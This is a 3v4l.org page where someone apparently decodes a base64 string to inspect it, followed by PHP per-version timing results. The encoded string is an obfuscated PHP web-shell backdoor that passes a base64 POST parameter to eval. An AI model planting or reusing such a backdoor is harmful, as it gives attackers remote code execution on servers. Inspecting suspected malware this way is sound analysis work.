3v4l.org

run code in 300+ PHP versions simultaneously
<?php $str = 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9'; echo base64_decode($str); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.310.0080.03812.49
5.4.300.0060.03712.50
5.4.290.0050.04612.49
5.4.280.0030.03912.39
5.4.270.0080.03412.39
5.4.260.0040.04012.39
5.4.250.0070.03712.39
5.4.240.0080.03812.39
5.4.230.0070.03712.38
5.4.220.0050.03612.38
5.4.210.0070.03512.38
5.4.200.0040.03912.38
5.4.190.0080.03612.38
5.4.180.0130.03112.38
5.4.170.0090.03412.38
5.4.160.0090.04512.38
5.4.150.0100.03512.38
5.4.140.0080.04212.07
5.4.130.0080.03712.05
5.4.120.0050.03712.01
5.4.110.0130.03712.01
5.4.100.0060.04112.01
5.4.90.0060.03812.01
5.4.80.0070.03912.01
5.4.70.0060.03912.00
5.4.60.0040.03912.00
5.4.50.0070.03412.01
5.4.40.0060.04211.99
5.4.30.0110.03212.00
5.4.20.0040.03811.99
5.4.10.0080.03611.99
5.4.00.0050.03611.48
5.3.280.0080.04512.71
5.3.270.0070.03812.73
5.3.260.0080.03712.72
5.3.250.0110.03512.72
5.3.240.0090.03412.72
5.3.230.0080.03812.71
5.3.220.0040.04112.68
5.3.210.0050.04312.68
5.3.200.0080.03512.68
5.3.190.0100.03712.68
5.3.180.0100.03412.68
5.3.170.0080.03712.67
5.3.160.0090.03512.68
5.3.150.0070.03812.67
5.3.140.0120.03412.66
5.3.130.0080.03912.66
5.3.120.0090.03812.66
5.3.110.0040.04112.66
5.3.100.0060.04112.12
5.3.90.0090.03912.09
5.3.80.0100.04512.08
5.3.70.0090.03712.08
5.3.60.0070.03612.06
5.3.50.0050.04912.00
5.3.40.0100.03712.00
5.3.30.0090.03211.95
5.3.20.0130.05011.72
5.3.10.0040.03911.70
5.3.00.0050.03611.68
5.2.170.0070.0319.18
5.2.160.0080.0319.18
5.2.150.0010.0349.18
5.2.140.0070.0299.18
5.2.130.0020.0319.14
5.2.120.0040.0299.14
5.2.110.0060.0289.14
5.2.100.0080.0269.14
5.2.90.0030.0309.14
5.2.80.0050.0309.14
5.2.70.0030.0329.14
5.2.60.0090.0329.10
5.2.50.0050.0309.06
5.2.40.0070.0269.04
5.2.30.0050.0319.02
5.2.20.0060.0289.00
5.2.10.0070.0348.93
5.2.00.0090.0398.79
5.1.60.0050.0248.07
5.1.50.0080.0258.06
5.1.40.0030.0298.05
5.1.30.0080.0238.40
5.1.20.0070.0258.42
5.1.10.0040.0268.14
5.1.00.0050.0258.14
5.0.50.0060.0256.63
5.0.40.0040.0246.48
5.0.30.0040.0376.29
5.0.20.0070.0176.26
5.0.10.0050.0306.24
5.0.00.0060.0386.24
4.4.90.0030.0154.78
4.4.80.0030.0164.75
4.4.70.0040.0154.76
4.4.60.0030.0214.76
4.4.50.0040.0174.77
4.4.40.0030.0264.71
4.4.30.0030.0154.76
4.4.20.0050.0144.84
4.4.10.0070.0124.85
4.4.00.0010.0264.76
4.3.110.0020.0174.66
4.3.100.0020.0174.66
4.3.90.0020.0154.63
4.3.80.0080.0194.58
4.3.70.0040.0134.63
4.3.60.0020.0164.63
4.3.50.0030.0184.63
4.3.40.0020.0264.54
4.3.30.0040.0183.28
4.3.20.0020.0193.26
4.3.10.0020.0153.23
4.3.00.0070.0236.80

preferences:
140.63 ms | 1394 KiB | 7 Q